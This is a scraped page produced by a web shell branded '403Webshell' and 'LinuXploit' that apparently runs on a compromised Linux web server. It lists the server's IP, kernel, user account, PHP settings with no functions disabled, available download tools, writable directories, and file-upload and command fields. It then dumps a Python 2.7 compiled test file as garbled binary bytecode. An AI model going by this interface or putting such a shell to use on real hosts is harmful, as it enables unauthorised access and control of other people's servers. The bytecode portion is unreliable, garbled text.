403Webshell
Server IP : 118.27.122.248  /  Your IP : 216.73.217.6
Web Server : Apache
System : Linux web0264.sh.tyo1 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
User : c9415830 ( 11735)
PHP Version : 8.4.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python27/lib64/python2.7/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python27/lib64/python2.7/test/test_typechecks.pyc
�
�q2_c@s�dZddlZddlmZdefd��YZddd��YZdefd	��YZd
ejfd��YZ	d�Z
ed
kr�ej�ndS(s7Unit tests for __instancecheck__ and __subclasscheck__.i����N(ttest_supporttABCcBseZd�Zd�ZRS(cs/t�fd�tt|�|jg�D��S(s Implement isinstance(inst, cls).c3s|]}�j|�VqdS(N(t__subclasscheck__(t.0tc(tcls(s9/opt/alt/python27/lib64/python2.7/test/test_typechecks.pys	<genexpr>s(tanytsetttypet	__class__(Rtinst((Rs9/opt/alt/python27/lib64/python2.7/test/test_typechecks.pyt__instancecheck__	scsE|jjdt��t|g�B�t�fd�|j�D��S(sImplement issubclass(sub, cls).t__subclass__c3s|]}|�kVqdS(N((RR(t
candidates(s9/opt/alt/python27/lib64/python2.7/test/test_typechecks.pys	<genexpr>s(t__dict__tgetRRtmro(Rtsub((R
s9/opt/alt/python27/lib64/python2.7/test/test_typechecks.pyRs%(t__name__t
__module__RR(((s9/opt/alt/python27/lib64/python2.7/test/test_typechecks.pyRs	tIntegercBseZeZeeg�ZRS((RRRt
__metaclass__RtintR(((s9/opt/alt/python27/lib64/python2.7/test/test_typechecks.pyRstSubIntcBseZRS((RR(((s9/opt/alt/python27/lib64/python2.7/test/test_typechecks.pyRstTypeChecksTestcBsGeZd�Zd�Zd�Zd�Zd�Zd�Zd�ZRS(cCs6|jtjt�t�|jtjt�t�dS(N(tassertEqualRRRtTruetfloattFalse(tself((s9/opt/alt/python27/lib64/python2.7/test/test_typechecks.pyttestIsSubclassInternal"scCsn|jttt�t�|jtttf�t�|jttt�t�|jtttf�t�dS(N(Rt
issubclassRRRRR(R((s9/opt/alt/python27/lib64/python2.7/test/test_typechecks.pyttestIsSubclassBuiltin&scCsn|jtdt�t�|jtdtf�t�|jtdt�t�|jtdtf�t�dS(Ni*g��Q�	@(Rt
isinstanceRRR(R((s9/opt/alt/python27/lib64/python2.7/test/test_typechecks.pyttestIsInstanceBuiltin,scCs?|jtt�t�t�|jtt�tf�t�dS(N(RR!RR(R((s9/opt/alt/python27/lib64/python2.7/test/test_typechecks.pyttestIsInstanceActual2scCs9|jttt�t�|jtttf�t�dS(N(RRRR(R((s9/opt/alt/python27/lib64/python2.7/test/test_typechecks.pyttestIsSubclassActual6scCs�|jttt�t�|jtttf�t�|jttt�t�|jtttf�t�|jttt�t�|jtttf�t�|jttt�t�|jtttf�t�|jtt�t�t�|jtt�tf�t�|jtt�t�t�|jtt�tf�t�|jtdt�t�|jtdtf�t�dS(Ni*(RRRRRRRR!(R((s9/opt/alt/python27/lib64/python2.7/test/test_typechecks.pyttestSubclassBehavior:scCs|ddd��Y}d|fd��Y}|jd|�|j|�|�|jtt|��|jt||��dS(NtXcBseZd�Zd�ZRS(cSstS(N(R(RR
((s9/opt/alt/python27/lib64/python2.7/test/test_typechecks.pyRMscSstS(N(R(RR((s9/opt/alt/python27/lib64/python2.7/test/test_typechecks.pyROs(RRRR(((s9/opt/alt/python27/lib64/python2.7/test/test_typechecks.pyR&Ls	tSubcBseZRS((RR(((s9/opt/alt/python27/lib64/python2.7/test/test_typechecks.pyR'Qsi((tassertNotIsInstancetassertIsInstancetassertFalseRRt
assertTrue(RR&R'((s9/opt/alt/python27/lib64/python2.7/test/test_typechecks.pyt
test_oldstyleJs(	RRRR R"R#R$R%R,(((s9/opt/alt/python27/lib64/python2.7/test/test_typechecks.pyR s						cCstjt�dS(N(Rtrun_unittestR(((s9/opt/alt/python27/lib64/python2.7/test/test_typechecks.pyt	test_mainXst__main__((
t__doc__tunittestttestRRRRRtTestCaseRR.Rtmain(((s9/opt/alt/python27/lib64/python2.7/test/test_typechecks.pyt<module>s
8	

Youez - 2016 - github.com/yon3zu
LinuXploit